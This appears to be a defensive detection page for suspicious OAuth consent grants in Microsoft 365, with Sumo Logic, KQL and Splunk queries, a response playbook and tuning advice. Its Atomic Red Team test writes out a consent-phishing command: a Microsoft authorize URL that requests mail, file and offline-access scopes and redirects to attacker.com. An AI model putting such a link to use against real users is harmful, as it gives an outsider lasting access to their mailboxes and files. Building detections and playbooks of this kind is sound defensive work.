Detect Suspicious OAuth Application Consent Grant in Microsoft 365 in Sumo Logic CSE
Illicit OAuth consent grants are a persistent M365 attack vector where users are tricked into granting third-party applications excessive permissions to their Microsoft 365 data. Attackers register OAuth apps with convincing names ('HR Document Portal', 'Microsoft Security Update', 'Teams Bot') and send phishing emails directing users to 'consent' to the app. Once consented, the attacker's app has persistent API access (often with Mail.Read, Contacts.Read, Files.Read, or offline_access) without needing the user's credentials or bypassing MFA. Microsoft documented Storm-0558 and Midnight Blizzard using this technique. NCSC UK warns that illicit consent grants are particularly effective against SMBs because many lack admin consent workflows. Attackers can also use 'consent phishing' through OAuth apps registered in the same Entra ID tenant after initial compromise.
MITRE ATT&CK
- Tactic
- Credential Access Collection
Sumo Detection Query
_sourceCategory=azure/aad/audit OR _sourceCategory=azure/active_directory/audit
| json field=_raw "operationName" as OperationName nodrop
| json field=_raw "result" as Result nodrop
| where OperationName in (
"Consent to application",
"Add delegated permission grant",
"Add OAuth2PermissionGrant",
"Add app role assignment to service principal"
)
| where Result = "success"
| json field=_raw "targetResources[0].displayName" as AppName nodrop
| json field=_raw "targetResources[0].id" as AppId nodrop
| json field=_raw "initiatedBy.user.userPrincipalName" as ConsentorUPN nodrop
| json field=_raw "initiatedBy.user.ipAddress" as ConsentorIP nodrop
| json field=_raw "additionalDetails" as AdditionalDetails nodrop
| where matches(AdditionalDetails, "(?i)(Mail\.Read|Mail\.ReadWrite|Mail\.Send|Mail\.ReadBasic\.All|Files\.Read\.All|Files\.ReadWrite\.All|offline_access|Directory\.Read\.All|User\.Read\.All|User\.ReadWrite\.All|Contacts\.Read|Contacts\.ReadWrite|Sites\.Read\.All|Sites\.ReadWrite\.All|MailboxSettings\.ReadWrite|Calendars\.ReadWrite|Group\.Read\.All)")
OR OperationName = "Add app role assignment to service principal"
| count as ConsentEvents by ConsentorIP, AppName, AppId, ConsentorUPN, OperationName
| sort by ConsentEvents desc
| fields ConsentorIP, AppName, AppId, ConsentorUPN, OperationName, ConsentEventsDetects illicit OAuth consent grants in Microsoft Azure Active Directory / Entra ID where users or admins grant third-party applications sensitive M365 API permissions. Parses Azure AD audit log JSON to extract app identity, consenting user, and permission scopes. Surfaces consent phishing patterns used by Storm-0558 and Midnight Blizzard, including bulk consent events from a single IP and app role assignment grants.
Data Sources
Required Tables
False Positives & Tuning
- Legitimate deployment of approved enterprise OAuth applications by IT administrators that require broad permissions for business functionality such as backup, DLP, or archiving solutions
- ISV software integrations connecting to Microsoft 365 during product trials or onboarding where the vendor's app requests standard delegated scopes
- Microsoft-published applications being consented for the first time after new tenant policies, license changes, or Copilot feature roll-outs that require explicit admin consent
Other platforms for THREAT-M365-SuspiciousOAuthConsent
Testing Methodology
Validate this detection against 1 adversary technique from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1 Illicit OAuth Consent Grant Simulation
Expected signal: Azure AD Audit log records 'Consent to application' event with Mail.Read, offline_access, and Files.Read.All permissions for the test user.
Response Playbook
Triage
- Identify the application name and publisher: is this a Microsoft-published app, a well-known SaaS vendor (Salesforce, DocuSign, Slack), or an unknown/suspicious publisher?
- Check the application in Azure AD > Enterprise Applications > [App] > Permissions. Review the granted permissions against the principle of least privilege.
- Check the consenting user: did they receive a phishing email directing them to consent to this app? Review their incoming mail in the 24 hours before the consent event.
- Verify if the app is listed in Microsoft AppSource or your internal approved app registry.
- Review what data the app has accessed post-consent: Azure AD > Enterprise Applications > [App] > Activity logs / Sign-ins.
Containment
- Revoke the suspicious OAuth application consent: Azure AD > Enterprise Applications > [App] > Permissions > Revoke admin consent (or remove user consent grant).
- Block the application in Entra ID if it's malicious: Azure AD > Enterprise Applications > [App] > Properties > Enabled for users to sign-in = No.
- Enable admin consent workflow (requires Entra ID P1/P2): Azure AD > Enterprise Applications > Consent and permissions > User consent settings > Require admin approval.
- Audit all tokens issued to the revoked application and rotate credentials/secrets for any service accounts that may have also consented.
- Investigate any data access by the application before revocation.
Evidence Collection
- Azure AD Audit logs: consent event with full permission list, consenting user, application details
- Azure AD Enterprise Applications: sign-in activity and data accessed post-consent
- O365 audit logs: MailItemsAccessed, FileAccessed events attributed to the malicious application
- Phishing email (if recoverable) that directed user to consent
Escalation Criteria
- !Application granted Mail.ReadWrite or Mail.Send — attacker can read all email and send as the user
- !Application granted Files.ReadWrite.All — full SharePoint/OneDrive access
- !Admin consent granted for tenant-wide access
- !Multiple users have consented to the same suspicious application
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Azure AD Audit log: consent event details including permission scopes - >
Enterprise Application sign-in logs: all API calls made by the app post-consent - >
O365 MailItemsAccessed: mail read by the malicious application - >
SharePoint/OneDrive audit logs: file access by the application
Tuning Guidance
Enable admin consent requirement for all user consent requests in Entra ID (requires P1 or P2 licence for workflow). Without this control, any user can grant any third-party application access to their M365 data. For existing consents, run a monthly review of all enterprise applications and their permission scopes. Prioritise reviewing any app with Mail.Read, offline_access, or Files.ReadWrite.All that was not deployed by IT. Consider creating an Entra ID access review workflow for application consents.
Hunting Queries
Hunt for applications consented to by multiple users — a phishing campaign distributing consent phishing links will show multiple users consenting to the same malicious application.
AuditLogs
| where TimeGenerated > ago(90d)
| where OperationName has "Consent to application"
| extend AppName = tostring(TargetResources[0].displayName)
| extend Permissions = tostring(AdditionalDetails)
| summarize
ConsentCount=count(),
ConsentingUsers=make_set(tostring(InitiatedBy.user.userPrincipalName))
by AppName, Permissions
| where ConsentCount > 1 // Multiple users consenting to same app — potential phishing campaign
| sort by ConsentCount descindex=azure sourcetype="azure:aad:audit" OperationName="Consent to application"
| spath input=TargetResources path="{0}.displayName" output=AppName
| spath input=InitiatedBy path="user.userPrincipalName" output=user
| stats count AS ConsentCount, dc(user) AS UniqueUsers, values(user) AS Users
BY AppName
| where ConsentCount > 1
| sort - ConsentCountAtomic Red Team Tests
Registers a test OAuth application with sensitive permissions and initiates the user consent flow to simulate illicit consent grant phishing.
Command
Start-Process 'https://login.microsoftonline.com/<TENANT>/oauth2/v2.0/authorize?client_id=<TEST_APP_ID>&response_type=code&redirect_uri=https://attacker.com/callback&scope=mail.read+offline_access+files.read.all'Cleanup
Remove the test application from Azure AD > App Registrations and revoke any consented permissions.Expected Telemetry
Azure AD Audit log records 'Consent to application' event with Mail.Read, offline_access, and Files.Read.All permissions for the test user.
Expected Detection
Alert fires on sensitive permissions (Mail.Read, Files.Read.All, offline_access) in consent grant event.